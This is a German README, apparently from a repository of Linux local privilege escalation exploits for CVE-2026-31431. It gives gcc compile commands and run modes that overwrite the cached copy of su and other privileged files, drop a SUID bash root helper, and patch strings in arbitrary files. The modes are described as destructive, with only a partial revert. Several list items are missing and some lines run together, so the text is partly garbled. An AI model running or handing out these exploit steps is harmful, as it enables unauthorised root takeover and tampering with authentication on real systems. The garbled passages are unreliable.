
Linux lokale Privilegieneskalations-Exploits für CVE-2026-31431, einschließlich roher und wiederherstellbarer Workflows.
Diese Linux-LPE-Exploit-Implementierungen sind zur Laufzeit destruktiv.
Sie überschreiben die Live-Page-Cache-Ansicht privilegierter Ziele wie:
supatch-Modus übergeben wirdDies ist normalerweise keine dauerhafte Änderung auf der Festplatte, aber es ändert das Laufzeitverhalten und kann Authentifizierungs-/Berechtigungsabläufe sofort beeinflussen.
Dieses Repository bietet keinen vollständig nicht-destruktiven root-Modus.
copyfail_raw_su_root.ccopyfail_portable_lpe.cBeide sind nur für Linux.
Vorkompilierte Binärdateien für weitere Architekturen können in zukünftigen Updates hinzugefügt werden.
gcc -O2 -s copyfail_portable_lpe.c -o copyfail_portable_lpe
gcc -O2 -s copyfail_raw_su_root.c -o copyfail_raw_su_root
Für copyfail_portable_lpe.c verwendet der Aufruf:
./copyfail_portable_lpe
standardmäßig auto-revert.
Das bedeutet, es wird zuerst der wiederherstellbare Workflow versucht:
Wenn der wiederherstellbare Modus fehlschlägt, gibt das Programm Hinweise auf Fallback-Modi aus.
Minimale rohe Variante:
su direktsu sofort aus./copyfail_raw_su_root
Allgemeine Variante mit mehreren Modi.
Expliziter Nicht-Revert-Modus:
./copyfail_portable_lpe auto
Wiederherstellbarer-First-Modus:
./copyfail_portable_lpe
./copyfail_portable_lpe auto-revert
SUID-bash-Helfer ohne Revert ablegen:
./copyfail_portable_lpe helper ./.rootsh
Helfer ablegen, dann Versuch, gepatchte Ziele wiederherzustellen:
./copyfail_portable_lpe helper-revert ./.rootsh
Zeichenkettenersetzung gleicher Länge in einer gewählten Datei:
./copyfail_portable_lpe patch <datei> <finden> <ersetzen>
Roh-su-Patch-Pfad:
./copyfail_portable_lpe raw-su-elf
auto-revert und helper-revert sind während der Ausnutzung weiterhin destruktiv.
Sie sind nur in dem Sinne „wiederherstellbar", dass sie:
Das ist also destruktiv-dann-revert, nicht wirklich nicht-destruktiv.
auto / auto-revert / helper / helper-revert / patch: Linux-orientiert, weniger eng an die CPU-Architektur gekoppelt, wenn auf dem Ziel kompiliertraw-su-elf: nur x86_64 LinuxDieses Repository wird bereitgestellt für:
Verwenden Sie diese Materialien nicht gegen Systeme, Konten oder Netzwerke ohne ausdrückliche Genehmigung des Eigentümers.
Der Autor und die Mitwirkenden stellen diesen Inhalt wie besehen ohne Gewährleistung bereit und übernehmen keine Verantwortung für Missbrauch, Schäden, Datenverlust, Dienstunterbrechungen oder rechtliche Konsequenzen, die sich aus der Verwendung des Codes oder der Techniken in diesem Repository ergeben.